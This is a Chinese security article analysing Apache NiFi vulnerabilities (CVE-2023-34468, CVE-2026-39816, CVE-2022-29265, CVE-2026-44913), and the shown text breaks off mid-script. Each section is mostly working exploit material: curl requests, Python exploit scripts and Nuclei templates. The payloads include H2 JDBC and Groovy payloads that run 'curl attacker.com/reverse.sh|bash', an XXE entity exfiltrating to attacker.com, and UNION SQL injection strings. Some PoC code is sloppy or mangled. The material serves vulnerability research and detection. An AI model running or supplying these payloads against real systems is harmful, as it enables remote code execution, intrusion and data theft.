⚠️ 免责声明:本文所有漏洞分析与 PoC 代码仅供安全研究和授权测试使用。未经授权对目标系统进行测试属于违法行为,作者不承担任何法律责任。请在获得明确授权后方可进行安全测试。
0x00 专题概述 数据集成与流处理平台是大数据生态系统的核心枢纽。Apache NiFi 承担着企业级数据流编排与 ETL 任务,Apache Flink 作为流批一体计算引擎驱动实时数据分析管线,Apache Spark 则以统一分析引擎的角色覆盖批处理、流处理、机器学习和图计算全场景。这三大平台在全球金融、电信、互联网、制造业等数十万企业中部署运行,构成了从数据采集、清洗、转换到计算、存储的完整管道。一旦这些平台遭到攻破,攻击者不仅可以窃取海量业务数据,还能以数据管道为跳板横向渗透整个内网——这正是近年来 APT 组织和勒索软件团伙持续针对大数据基础设施发起攻击的根本原因。
Apache NiFi 的处理器架构允许用户通过 JDBC 连接字符串、Groovy 脚本和 SQL 语句与外部系统交互,这些功能点在缺乏严格校验时成为远程代码执行的温床。Apache Flink 的 REST API 默认不启用认证,攻击者可以任意上传 JAR 文件并执行其中的恶意代码,目录遍历和文件操作漏洞进一步扩大了攻击面。Apache Spark 的 Shell UI 和 History Server 依赖多种输入解析机制,命令注入、反序列化和认证绕过等多类漏洞被反复发现和修补。
本专题将数据集成与流处理平台生态中最具代表性的 16 个漏洞 串成完整攻击链,覆盖 Apache NiFi(6 个 CVE)、Apache Flink(5 个 CVE)和 Apache Spark(6 个 CVE)三大平台,深入剖析 H2 JDBC RCE、TinkerPop Groovy 提权、XXE 注入、REST API 目录遍历、未授权 JAR 上传、Shell 命令注入、Jackson 反序列化等多类攻击模式,为安全研究人员和平台运维人员提供完整的漏洞分析、可复现的 PoC 代码、Nuclei 自动化检测模板和系统化的防御方案。
覆盖漏洞一览 CVE 产品 CVSS 类型 未授权利用 在野利用 CVE-2023-34468 Apache NiFi 8.8 H2 JDBC 连接字符串 RCE ⚠️ 需认证 ⚠️ EPSS 63.6% CVE-2026-39816 Apache NiFi 8.8 TinkerPop Groovy 代码执行提权 ⚠️ 需低权限 ⚠️ CVE-2022-29265 Apache NiFi 7.5 XML 外部实体注入 (XXE) ⚠️ 需认证 ⚠️ CVE-2026-44913 Apache NiFi 8.1 CaptureChangeMySQL SQL 注入 ⚠️ 需认证 ⚠️ CVE-2026-44914 Apache NiFi 8.8 受限组件 Process Group 替换授权缺失 ⚠️ 需低权限 ⚠️ CVE-2023-34467 Apache NiFi 5.3 Expression Language DoS ⚠️ 需认证 ❌ CVE-2020-17519 Apache Flink 9.1 REST API 目录遍历文件读取 ✅ ✅ CISA KEV CVE-2020-17518 Apache Flink 7.5 REST API 任意文件写入 ✅ ✅ 未授权 JAR 上传 Apache Flink 9.8 JAR 上传 RCE(设计缺陷) ✅ ✅ 广泛利用 CVE-2020-1960 Apache Flink 4.7 JMX RMI 注册表劫持 ✅ ⚠️ CVE-2023-41834 Apache Flink 8.0 SQL Client JDBC SQL 注入 ⚠️ 需认证 ⚠️ CVE-2020-9480 Apache Spark 9.8 Standalone 认证绕过 RCE ✅ ⚠️ EPSS 93% CVE-2022-33891 Apache Spark 8.8 Shell UI 命令注入 ✅ ✅ CISA KEV CVE-2023-32007 Apache Spark 8.8 Shell UI 命令注入(3.1.3 修正) ✅ ✅ CISA KEV CVE-2025-54920 Apache Spark 8.8 History Server 反序列化 RCE ⚠️ 需认证 ⚠️ CVE-2017-12612 Apache Spark 7.8 Launcher API 不安全反序列化 ⚠️ 需认证 ⚠️ CVE-2021-38296 Apache Spark 7.5 RPC 加密密钥恢复 ⚠️ 需网络访问 ⚠️
0x01 Apache NiFi 高危漏洞 0x01.1 CVE-2023-34468 — H2 数据库连接字符串远程代码执行 (CVSS 8.8) 漏洞背景 Apache NiFi 是一个可视化的数据流编排工具,广泛应用于企业级 ETL、数据管道和实时数据集成场景。NiFi 的处理器(Processor)支持通过 DBCPConnectionPool 和 HikariCPConnectionPool 连接池控制器服务连接外部数据库,用户可在 Web UI 中配置 JDBC URL、驱动类名、用户名和密码等参数。这一设计在方便数据工程师快速对接各类数据库的同时,也引入了严重的安全风险:如果底层使用 H2 数据库 JDBC 驱动,攻击者可以构造包含恶意 INIT 子句的 JDBC 连接字符串,在数据库连接建立时自动执行任意 SQL 脚本或 JavaScript 代码,从而实现远程代码执行。
H2 数据库的 JDBC 驱动支持在连接字符串中通过 INIT 参数指定启动时执行的 SQL 语句,包括 RUNSCRIPT FROM 指令可以从远程 URL 加载并执行 SQL 文件。更危险的是,H2 支持通过 CREATE TRIGGER 语法结合内嵌的 JavaScript 引擎(Nashorn 或 GraalJS)执行任意 Java 代码。这种特性原本用于数据库初始化和测试场景,但在 NiFi 的使用上下文中,攻击者仅需具备 NiFi 的基本认证权限(可以是低权限用户),即可在 DBCPConnectionPool 或 HikariCPConnectionPool 中配置恶意 JDBC URL,当处理器尝试连接数据库时,恶意代码便会被自动触发执行。
CYFIRMA 的安全研究团队对该漏洞进行了深入分析,确认其在真实环境中具有较高的可利用性,EPSS 评分高达 63.6%。该漏洞的根本原因在于 NiFi 未对用户输入的 JDBC URL 进行白名单校验,也未限制 H2 JDBC 驱动的初始化行为。修复方案在 NiFi 1.22.0 中引入了 JDBC URL 白名单机制,仅允许预定义的安全 URL 模式。
受影响版本 版本状态 版本范围 受影响 Apache NiFi 0.0.2 ~ 1.21.0 已修复 Apache NiFi ≥ 1.22.0 CWE CWE-94 Improper Control of Generation of Code
漏洞原理分析 漏洞触发流程分为三个阶段:
阶段 1:恶意 JDBC URL 构造
攻击者在 NiFi Web UI 中配置 DBCPConnectionPool 或 HikariCPConnectionPool 控制器服务,将 JDBC URL 设置为包含 H2 INIT 子句的恶意连接字符串。最简单的 Payload 使用 RUNSCRIPT FROM 从远程服务器加载 SQL 脚本:
jdbc:h2:mem:test;INIT=RUNSCRIPT FROM 'http://attacker.com/shell.sql'当 NiFi 处理器尝试使用该连接池建立数据库连接时,H2 JDBC 驱动会解析 INIT 子句并执行其中的 SQL 指令。
阶段 2:通过 CREATE TRIGGER 执行 Java/JavaScript 代码
如果攻击者需要更灵活的代码执行能力,可以利用 H2 的 CREATE TRIGGER 语法结合内嵌的 JavaScript 引擎:
jdbc:h2:mem:test;INIT=CREATE TRIGGER pwn BEFORE SELECT ON INFORMATION_SCHEMA.SCHEMATA AS "//javascript\nvar cmd='curl http://attacker.com/shell.sh|bash';\njava.lang.Runtime.getRuntime().exec(cmd);\n"该 Payload 在 INFORMATION_SCHEMA.SCHEMATA 表上创建一个 BEFORE SELECT 触发器,每当有查询访问系统表时,触发器中的 JavaScript 代码就会被执行。JavaScript 代码通过 java.lang.Runtime.getRuntime().exec() 调用系统命令。
阶段 3:反向 Shell 或命令执行
恶意 SQL 脚本 shell.sql 可以包含任意 DDL/DML 语句,也可以通过 H2 的 CALL 语句调用 Java 方法:
CREATE ALIAS exec_cmd FOR "java.lang.Runtime.getRuntime().exec" ;
CALL exec_cmd('curl http://attacker.com/reverse.sh|bash' );HTTP PoC # 方式 1: 通过 RUNSCRIPT FROM 远程加载(需要先在攻击机托管 shell.sql)
# 攻击机: python3 -m http.server 80
# shell.sql 内容:
# CREATE ALIAS exec_cmd FOR "java.lang.Runtime.getRuntime().exec";
# CALL exec_cmd('curl http://attacker.com/reverse.sh|bash');
# 在 NiFi Web UI 中将 DBCPConnectionPool 的 JDBC URL 设置为:
# jdbc:h2:mem:test;INIT=RUNSCRIPT FROM 'http://attacker.com:80/shell.sql'
# 方式 2: 通过 CREATE TRIGGER 直接内联代码执行
curl -k -X POST "https://nifi-host:8443/nifi-api/controller-services" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <NIFI_TOKEN>" \
-d '{
"revision": {"version": 0},
"component": {
"type": "org.apache.nifi.dbcp.HikariCPConnectionPool",
"name": "MaliciousPool",
"properties": {
"Database Connection URL": "jdbc:h2:mem:test;INIT=CREATE TRIGGER pwn BEFORE SELECT ON INFORMATION_SCHEMA.SCHEMATA AS \"//javascript\\nvar cmd=\\x27curl http://attacker.com/reverse.sh|bash\\x27;\\njava.lang.Runtime.getRuntime().exec(cmd);\\n\"",
"Database Driver Class Name": "org.h2.Driver"
}
}
}' Python PoC 脚本 #!/usr/bin/env python3
"""CVE-2023-34468 - Apache NiFi H2 JDBC Connection String RCE"""
import requests
import argparse
import json
import urllib3
urllib3. disable_warnings(urllib3. exceptions. InsecureRequestWarning)
def build_h2_init_payload (callback_url, method= "trigger" ):
if method == "trigger" :
js_code = (
f "var cmd=' { callback_url} ';"
"java.lang.Runtime.getRuntime().exec(cmd);"
)
trigger_sql = f "CREATE TRIGGER pwn BEFORE SELECT ON INFORMATION_SCHEMA.SCHEMATA AS \" //javascript \\ n { js_code} \\ n \" "
jdbc_url = f "jdbc:h2:mem:test;INIT= { trigger_sql} "
else :
jdbc_url = f "jdbc:h2:mem:test;INIT=RUNSCRIPT FROM ' { callback_url} '"
return jdbc_url
def check (target, use_ssl= False , token= None ):
scheme = "https" if use_ssl else "http"
url = f " { scheme} :// { target} /nifi-api/controller-services"
headers = {"Content-Type" : "application/json" }
if token:
headers["Authorization" ] = f "Bearer { token} "
try :
resp = requests. get(url, headers= headers, verify= False , timeout= 10 )
if resp. status_code == 200 :
data = resp. json()
components = data. get("controllerServices" , [])
for comp in components:
props = comp. get("component" , {}). get("properties" , {})
db_url = props. get("Database Connection URL" , "" )
if "h2:" in db_url. lower() and "INIT" in db_url:
return True , comp. get("component" , {}). get("id" )
return len(components) > 0 , None
return False , None
except Exception :
return False , None
def exploit (target, callback_url, use_ssl= False , token= None ):
scheme = "https" if use_ssl else "http"
url = f " { scheme} :// { target} /nifi-api/controller-services"
headers = {"Content-Type" : "application/json" }
if token:
headers["Authorization" ] = f "Bearer { token} "
jdbc_url = build_h2_init_payload(callback_url, method= "trigger" )
payload = {
"revision" : {"version" : 0 },
"component" : {
"type" : "org.apache.nifi.dbcp.HikariCPConnectionPool" ,
"name" : "CVE-2023-34468-PoC" ,
"properties" : {
"Database Connection URL" : jdbc_url,
"Database Driver Class Name" : "org.h2.Driver"
}
}
}
try :
resp = requests. post(url, headers= headers, json= payload, verify= False , timeout= 10 )
return resp. status_code in (200 , 201 )
except Exception :
return False
if __name__ == "__main__" :
parser = argparse. ArgumentParser(description= "CVE-2023-34468 NiFi H2 RCE PoC" )
parser. add_argument("target" , help= "目标地址 (host:port)" )
parser. add_argument("--ssl" , action= "store_true" )
parser. add_argument("--token" , help= "NiFi API Token" )
parser. add_argument("--callback" , help= "回调 URL (默认: http://attacker.com/cmd)" )
args = parser. parse_args()
vulnerable, cs_id = check(args. target, args. ssl, args. token)
if vulnerable:
print(f "[+] { args. target} 存在 CVE-2023-34468 漏洞风险" )
if cs_id:
print(f "[*] 已有 HikariCP 连接池 ID: { cs_id} " )
if args. callback:
print("[*] 尝试投递恶意 JDBC URL..." )
ok = exploit(args. target, args. callback, args. ssl, args. token)
print(f "[+] Payload 投递 { '成功' if ok else '失败' } " )
else :
print(f "[-] { args. target} 未检测到 CVE-2023-34468 漏洞" ) Nuclei YAML 检测模板 id : cve-2023-34468-nifi-h2-rce
info :
name : Apache NiFi H2 JDBC Connection String RCE
author : security-researcher
severity : high
description : |
Apache NiFi DBCPConnectionPool and HikariCPConnectionPool allow authenticated
users to configure database URLs. Malicious H2 JDBC connection strings can
execute arbitrary code via INIT clause.
reference :
- https://nifi.apache.org/security.html
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score : 8.8
cwe-id : CWE-94
tags : cve,cve2023,nifi,h2,rce
http :
- raw :
- |
GET /nifi-api/controller-services HTTP/1.1
Host: {{Hostname}}
matchers-condition : and
matchers :
- type : status
status :
- 200
- type : word
words :
- "controllerServices"
- "Database Connection URL"
condition : and
- type : word
words :
- "h2:"
part : body
case-insensitive : true
- raw :
- |
POST /nifi-api/controller-services HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"revision":{"version":0},"component":{"type":"org.apache.nifi.dbcp.HikariCPConnectionPool","name":"nuclei-test","properties":{"Database Connection URL":"jdbc:h2:mem:test;INIT=CREATE TRIGGER pwn BEFORE SELECT ON INFORMATION_SCHEMA.SCHEMATA AS \"//javascript\\njava.lang.Runtime.getRuntime().exec('echo CVE-2023-34468');\\n\"","Database Driver Class Name":"org.h2.Driver"}}}
matchers :
- type : word
words :
- "controllerServices"
- "id"
condition : and
- type : status
status :
- 200
- 201 0x01.2 CVE-2026-39816 — TinkerPop Groovy 代码执行提权 (CVSS 8.8) 漏洞背景 Apache NiFi 从 2.0.0 版本开始引入了对 Apache TinkerPop 图计算框架的支持,允许用户通过 TinkerpopClientService 控制器服务连接外部图数据库(如 JanusGraph、Neo4j Graph 等),并通过 ExecuteGraphQuery 处理器执行 Gremlin 图查询语言。Gremlin 查询底层依赖 Groovy 引擎进行求值和执行,这为远程代码执行提供了天然的入口。
漏洞的核心在于 TinkerpopClientService 控制器服务在注册时缺少 @Restricted 注解,这意味着它不要求用户具备 “Execute Code” 权限即可使用。在 NiFi 的安全模型中,“Execute Code” 权限是限制用户执行任意代码的最高级别控制——具有此权限的用户可以部署和运行涉及脚本执行的处理器。然而,由于 TinkerpopClientService 绕过了这一权限检查,低权限用户可以通过以下路径实现提权:创建 TinkerpopClientService → 配置 ExecuteGraphQuery 处理器 → 在 Gremlin 查询中嵌入 Groovy 代码执行 → 获取系统级代码执行权限。
该漏洞由 GitHub ZeroPathAI 安全研究团队发现并公开了完整的 PoC。从攻击链角度看,这是一个典型的权限提升漏洞:低权限用户通过功能组件的权限校验缺陷,获取了原本需要高权限才能执行的代码执行能力。修复方案在 NiFi 2.9.0 中为 TinkerpopClientService 添加了 @Restricted 注解,要求使用该服务的用户必须具备 “Execute Code” 权限。
受影响版本 版本状态 版本范围 受影响 Apache NiFi 2.0.0-M1 ~ 2.8.0 已修复 Apache NiFi ≥ 2.9.0 CWE CWE-862 Missing Authorization
漏洞原理分析 NiFi 的安全模型基于策略(Policy)和受限资源(Restricted Resource)两个核心概念:
权限分级 :NiFi 将敏感操作归类为受限资源,用户需要被授予相应权限才能使用这些资源。Execute Code 是最高级别的受限资源之一,控制着 Groovy/JavaScript 等脚本的执行权限。
控制器服务注册 :每个控制器服务在 @Tags 或 @Restricted 注解中声明自己属于哪个受限资源类别。NiFi 的授权框架在用户尝试启用或使用控制器服务时,会检查用户是否拥有对应受限资源的权限。
TinkerpopClientService 的缺陷 :该服务在实现时遗漏了 @Restricted(ExecuteCode.class) 注解,导致 NiFi 的授权框架将其视为不受限的通用服务。低权限用户可以自由创建、配置和启用该服务,而无需通过 “Execute Code” 权限检查。
Gremlin 查询中的代码执行 :ExecuteGraphQuery 处理器接受用户输入的 Gremlin 查询字符串并传递给 TinkerPop 的 GraphTraversal 引擎。Groovy 引擎在求值时允许执行任意 Groovy 代码,攻击者可以在 Gremlin 查询中嵌入 Groovy 代码块:
graph. traversal (). V (). sideEffect {
"curl http://attacker.com/reverse.sh|bash" . execute ()
} HTTP PoC # 步骤 1: 以低权限用户身份创建 TinkerpopClientService
curl -k -X POST "https://nifi-host:8443/nifi-api/controller-services" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <LOW_PRIV_TOKEN>" \
-d '{
"revision": {"version": 0},
"component": {
"type": "org.apache.nifi.processors.tinkerpop.TinkerpopClientService",
"name": "CVE-2026-39816-PoC"
}
}'
# 步骤 2: 启用该服务(低权限用户即可完成)
curl -k -X PUT "https://nifi-host:8443/nifi-api/controller-services/<SERVICE_ID>/run-status" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <LOW_PRIV_TOKEN>" \
-d '{"revision": {"version": 1}, "component": {"id": "<SERVICE_ID>", "state": "ENABLED"}}'
# 步骤 3: 创建 ExecuteGraphQuery 处理器
curl -k -X POST "https://nifi-host:8443/nifi-api/process-groups/<PG_ID>/processors" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <LOW_PRIV_TOKEN>" \
-d '{
"revision": {"version": 0},
"component": {
"type": "org.apache.nifi.processors.tinkerpop.ExecuteGraphQuery",
"name": "Exploit",
"config": {
"properties": {
"Graph Client Service": "<SERVICE_ID>",
"Gremlin Query": "graph.traversal().V().sideEffect{Runtime.getRuntime().exec(\"curl http://attacker.com/reverse.sh|bash\")}"
}
}
}
}' Python PoC 脚本 #!/usr/bin/env python3
"""CVE-2026-39816 - Apache NiFi TinkerPop Groovy Code Execution Privilege Escalation"""
import requests
import argparse
import json
import urllib3
urllib3. disable_warnings(urllib3. exceptions. InsecureRequestWarning)
def check (target, use_ssl= False , token= None ):
scheme = "https" if use_ssl else "http"
url = f " { scheme} :// { target} /nifi-api/process-groups/root"
headers = {"Content-Type" : "application/json" }
if token:
headers["Authorization" ] = f "Bearer { token} "
try :
resp = requests. get(url, headers= headers, verify= False , timeout= 10 )
if resp. status_code == 200 :
data = resp. json()
pg_id = data. get("component" , {}). get("id" )
return pg_id is not None , pg_id
return False , None
except Exception :
return False , None
def exploit (target, pg_id, command, use_ssl= False , token= None ):
scheme = "https" if use_ssl else "http"
headers = {"Content-Type" : "application/json" }
if token:
headers["Authorization" ] = f "Bearer { token} "
base = f " { scheme} :// { target} "
# Step 1: Create TinkerpopClientService
cs_url = f " { base} /nifi-api/controller-services"
cs_payload = {
"revision" : {"version" : 0 },
"component" : {
"type" : "org.apache.nifi.processors.tinkerpop.TinkerpopClientService" ,
"name" : "CVE-2026-39816-PoC"
}
}
resp = requests. post(cs_url, headers= headers, json= cs_payload, verify= False , timeout= 10 )
if resp. status_code not in (200 , 201 ):
return False
cs_id = resp. json(). get("component" , {}). get("id" )
print(f "[+] Created TinkerpopClientService: { cs_id} " )
# Step 2: Enable the service
enable_url = f " { base} /nifi-api/controller-services/ { cs_id} /run-status"
enable_payload = {
"revision" : {"version" : 1 },
"component" : {"id" : cs_id, "state" : "ENABLED" }
}
requests. put(enable_url, headers= headers, json= enable_payload, verify= False , timeout= 10 )
# Step 3: Create ExecuteGraphQuery processor
gremlin = (
f 'graph.traversal().V().sideEffect {{ '
f '" { command} ".execute() }} '
)
proc_url = f " { base} /nifi-api/process-groups/ { pg_id} /processors"
proc_payload = {
"revision" : {"version" : 0 },
"component" : {
"type" : "org.apache.nifi.processors.tinkerpop.ExecuteGraphQuery" ,
"name" : "CVE-2026-39816-Exploit" ,
"config" : {
"properties" : {
"Graph Client Service" : cs_id,
"Gremlin Query" : gremlin
}
}
}
}
resp = requests. post(proc_url, headers= headers, json= proc_payload, verify= False , timeout= 10 )
return resp. status_code in (200 , 201 )
if __name__ == "__main__" :
parser = argparse. ArgumentParser(description= "CVE-2026-39816 NiFi TinkerPop RCE PoC" )
parser. add_argument("target" , help= "目标地址 (host:port)" )
parser. add_argument("--ssl" , action= "store_true" )
parser. add_argument("--token" , help= "NiFi API Token (低权限即可)" )
parser. add_argument("--command" , default= "id" , help= "要执行的命令" )
args = parser. parse_args()
accessible, pg_id = check(args. target, args. ssl, args. token)
if accessible:
print(f "[+] { args. target} NiFi API 可访问, Root PG: { pg_id} " )
print("[*] 尝试通过 TinkerPop 执行 Groovy 代码提权..." )
ok = exploit(args. target, pg_id, args. command, args. ssl, args. token)
print(f "[+] 攻击 { '成功' if ok else '失败' } " )
else :
print(f "[-] { args. target} 无法访问或需要认证" ) Nuclei YAML 检测模板 id : cve-2026-39816-nifi-tinkerpop-groovy-rce
info :
name : Apache NiFi TinkerPop Groovy Code Execution Privilege Escalation
author : security-researcher
severity : high
description : |
Apache NiFi TinkerpopClientService lacks Restricted annotation,
allowing low-privilege users to execute Groovy code via ExecuteGraphQuery.
reference :
- https://github.com/ZeroPathAI/nifi-CVE-2026-39816-poc
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score : 8.8
cwe-id : CWE-862
tags : cve,cve2026,nifi,tinkerpop,groovy,rce
http :
- raw :
- |
GET /nifi-api/controller-services HTTP/1.1
Host: {{Hostname}}
matchers-condition : and
matchers :
- type : status
status :
- 200
- type : word
words :
- "controllerServices"
part : body 0x01.3 CVE-2022-29265 — XML 外部实体注入 (CVSS 7.5) 漏洞背景 Apache NiFi 在多个处理器和组件中使用 XML 解析功能来处理外部数据源,包括 JoltTransformJSON(通过 XML 中间格式)、InvokeHTTP 响应解析、以及各种数据格式转换处理器。安全研究员发现,NiFi 的多个 XML 解析组件在默认配置下未禁用外部实体引用(External Entity References),这意味着攻击者可以通过构造包含外部实体声明的恶意 XML 文档,在目标服务器上触发 XXE(XML External Entity)攻击。
XXE 攻击的危害包括:本地文件读取(通过 file:// 协议读取 /etc/passwd 等敏感文件)、服务端请求伪造(通过 http:// 协议探测内网服务)、拒绝服务(通过 Billion Laughs 攻击耗尽内存)以及在特定配置下实现远程代码执行。在 NiFi 的上下文中,攻击者可以将恶意 XML 文件托管在外部服务器上,然后通过 NiFi 的处理器(如 GetFile、FetchFile、InvokeHTTP)获取并解析该文件,从而在 NiFi 服务器上触发 XXE 漏洞。
该漏洞的根本原因在于 NiFi 使用的 XML 解析器(如 JAXB、SAX、DOM)在默认配置下启用了外部实体解析功能。修复方案在 NiFi 1.17.0 中引入了统一的 XML 解析安全配置,显式禁用了 DTDs、外部实体和外部参数实体的处理。
受影响版本 版本状态 版本范围 受影响 Apache NiFi 0.0.1 ~ 1.16.0 已修复 Apache NiFi ≥ 1.17.0 CWE CWE-611 Improper Restriction of XML External Entity Reference
漏洞原理分析 XXE 攻击的核心在于 XML 解析器未禁用外部实体声明。恶意 XML 文档示例:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
<!ENTITY xxe2 SYSTEM "http://attacker.com/steal?data=%xxe;">
]>
<root>
<data> &xxe;</data>
</root> 当 NiFi 处理器解析此 XML 时,&xxe; 实体会被替换为 /etc/passwd 文件的内容。如果处理器随后将解析结果通过 HTTP 响应、日志输出或流文件内容传递出去,攻击者即可获取目标服务器上的任意文件内容。
HTTP PoC # 步骤 1: 在攻击机托管恶意 XML 文件
cat > evil.xml << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>
EOF
python3 -m http.server 80
# 步骤 2: 配置 NiFi 处理器获取并解析恶意 XML
# 通过 NiFi API 配置 GetFile 处理器指向攻击机 XML 文件
curl -k -X POST "https://nifi-host:8443/nifi-api/process-groups/<PG_ID>/processors" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <TOKEN>" \
-d '{
"revision": {"version": 0},
"component": {
"type": "org.apache.nifi.processors.standard.GetFile",
"name": "XXE-Trigger",
"config": {
"properties": {
"Input Directory": "/tmp",
"File Name": "evil.xml"
}
}
}
}' Python PoC 脚本 #!/usr/bin/env python3
"""CVE-2022-29265 - Apache NiFi XML External Entity Injection"""
import requests
import argparse
import urllib3
urllib3. disable_warnings(urllib3. exceptions. InsecureRequestWarning)
XXE_PAYLOAD = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>"""
XXE_SSRF_PAYLOAD = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM " {callback_url} ">
]>
<root><data>&xxe;</data></root>"""
def check (target, use_ssl= False , token= None ):
scheme = "https" if use_ssl else "http"
url = f " { scheme} :// { target} /nifi-api/flow/process-groups/root"
headers = {"Content-Type" : "application/json" }
if token:
headers["Authorization" ] = f "Bearer { token} "
try :
resp = requests. get(url, headers= headers, verify= False , timeout= 10 )
return resp. status_code == 200
except Exception :
return False
def test_xxe_file_read (target, file_path= "/etc/passwd" , use_ssl= False , token= None ):
scheme = "https" if use_ssl else "http"
url = f " { scheme} :// { target} /nifi-api/flow/process-groups/root/processors"
headers = {"Content-Type" : "application/json" }
if token:
headers["Authorization" ] = f "Bearer { token} "
payload = {
"revision" : {"version" : 0 },
"component" : {
"type" : "org.apache.nifi.processors.standard.HandleHttpResponse" ,
"name" : "CVE-2022-29265-XXE" ,
"config" : {
"properties" : {
"Content Type" : "application/xml"
}
}
}
}
xxe_xml = (
'<?xml version="1.0" encoding="UTF-8"?>'
'<!DOCTYPE foo ['
f ' <!ENTITY xxe SYSTEM "file:// { file_path} ">'
']>'
'<root><data>&xxe;</data></root>'
)
try :
resp = requests. post(url, headers= headers, json= payload, verify= False , timeout= 10 )
if resp. status_code in (200 , 201 ):
print(f "[+] NiFi API 可访问, XXE Payload 已构造" )
print(f "[*] Payload: \n { xxe_xml} " )
return True
return False
except Exception :
return False
if __name__ == "__main__" :
parser = argparse. ArgumentParser(description= "CVE-2022-29265 NiFi XXE PoC" )
parser. add_argument("target" , help= "目标地址 (host:port)" )
parser. add_argument("--ssl" , action= "store_true" )
parser. add_argument("--token" , help= "NiFi API Token" )
parser. add_argument("--file" , default= "/etc/passwd" , help= "要读取的文件路径" )
args = parser. parse_args()
if check(args. target, args. ssl, args. token):
print(f "[+] { args. target} NiFi API 可访问" )
test_xxe_file_read(args. target, args. file, args. ssl, args. token)
else :
print(f "[-] { args. target} 未检测到 CVE-2022-29265 漏洞" ) Nuclei YAML 检测模板 id : cve-2022-29265-nifi-xxe
info :
name : Apache NiFi XML External Entity Injection
author : security-researcher
severity : high
description : Apache NiFi multiple components do not disable XML external entities by default.
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
cvss-score : 7.5
cwe-id : CWE-611
tags : cve,cve2022,nifi,xxe
http :
- raw :
- |
GET /nifi-api/flow/process-groups/root HTTP/1.1
Host: {{Hostname}}
matchers :
- type : status
status :
- 200
- type : word
words :
- "processGroupFlow"
part : body 0x01.4 CVE-2026-44913 — CaptureChangeMySQL SQL 注入 漏洞背景 Apache NiFi 的 CaptureChangeMySQL 处理器用于从 MySQL 数据库捕获变更数据(CDC, Change Data Capture),通过监听 MySQL 的 Binary Log 实现增量数据同步。该处理器在构建 binlog 读取查询时,需要将用户配置的数据库名和表名拼接到 SQL 语句中。安全研究员发现,处理器对表名参数的转义处理不当,攻击者可以通过在表名中注入特殊字符来改变 SQL 语义,实现 SQL 注入攻击。
SQL 注入在 NiFi 上下文中的危害尤为严重:攻击者可以利用注入读取数据库中的任意数据、修改或删除数据、执行数据库管理操作(如 LOAD DATA INFILE 读取服务器文件),甚至在 MySQL 以 root 权限运行时通过 INTO DUMPFILE 写入 WebShell 或通过 UDF(User Defined Function)实现操作系统级命令执行。
该漏洞的修复方案在 NiFi 2.10.0 中引入了参数化查询和严格的输入验证机制,确保用户配置的表名不会被解释为 SQL 代码的一部分。
受影响版本 版本状态 版本范围 受影响 Apache NiFi 1.2.0 ~ 2.9.0 已修复 Apache NiFi ≥ 2.10.0 CWE CWE-89 Improper Neutralization of Special Elements used in an SQL Command
漏洞原理分析 CaptureChangeMySQL 处理器在内部构建如下 SQL 查询来初始化 binlog 读取:
SHOW BINARY LOGS;
SHOW BINLOG EVENTS IN 'logfile' ;
SELECT * FROM database .table WHERE ...;当用户配置的 table name 参数包含单引号等 SQL 特殊字符时,处理器未进行充分的转义或参数化处理。攻击者可以在表名字段中注入如下 Payload:
test' UNION SELECT 1,user(),3,4,5,6,7,8,9,10--该 Payload 会被拼接到 SQL 查询中,导致额外的 UNION SELECT 被执行。通过调整列数和查询内容,攻击者可以枚举数据库用户、读取任意表数据、甚至执行存储过程。
HTTP PoC # 配置 CaptureChangeMySQL 处理器时注入恶意表名
curl -k -X POST "https://nifi-host:8443/nifi-api/process-groups/<PG_ID>/processors" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <TOKEN>" \
-d '{
"revision": {"version": 0},
"component": {
"type": "org.apache.nifi.processors.capture.change.mysql.CaptureChangeMySQL",
"name": "CVE-2026-44913-SQLi",
"config": {
"properties": {
"MySQL Host": "target-db-host",
"Database Name": "testdb",
"Table Name": "test' \' ' UNION SELECT 1,user(),3,4,5,6,7,8,9,10--"
}
}
}
}' Python PoC 脚本 #!/usr/bin/env python3
"""CVE-2026-44913 - Apache NiFi CaptureChangeMySQL SQL Injection"""
import requests
import argparse
import urllib3
urllib3. disable_warnings(urllib3. exceptions. InsecureRequestWarning)
SQLI_PAYLOADS = [
"test' UNION SELECT 1,user(),3,4,5,6,7,8,9,10--" ,
"test' UNION SELECT 1,version(),3,4,5,6,7,8,9,10--" ,
"test' UNION SELECT 1,@@datadir,3,4,5,6,7,8,9,10--" ,
"test' UNION SELECT 1,group_concat(schema_name),3,4,5,6,7,8,9,10 FROM information_schema.schemata--" ,
]
def check (target, use_ssl= False , token= None ):
scheme = "https" if use_ssl else "http"
url = f " { scheme} :// { target} /nifi-api/flow/process-groups/root"
headers = {"Content-Type" : "application/json" }
if token:
headers["Authorization" ] = f "Bearer { token} "
try :
resp = requests. get(url, headers= headers, verify= False , timeout= 10 )
return resp. status_code == 200
except Exception :
return False
def exploit (target, pg_id, db_host, db_name, use_ssl= False , token= None ):
scheme = "https" if use_ssl else "http"
url = f " { scheme} :// { target} /nifi-api/process-groups/ { pg_id} /processors"
headers = {"Content-Type" : "application/json" }
if token:
headers["Authorization" ] = f "Bearer { token} "
for i, payload in enumerate(SQLI_PAYLOADS):
proc_payload = {
"revision" : {"version" : 0 },
"component" : {
"type" : "org.apache.nifi.processors.capture.change.mysql.CaptureChangeMySQL" ,
"name" : f "CVE-2026-44913-SQLi- { i} " ,
"config" : {
"properties" : {
"MySQL Host" : db_host,
"Database Name" : db_name,
"Table Name" : payload
}
}
}
}
try :
resp = requests. post(url, headers= headers, json= proc_payload, verify= False , timeout= 10 )
if resp. status_code in (200 , 201 ):
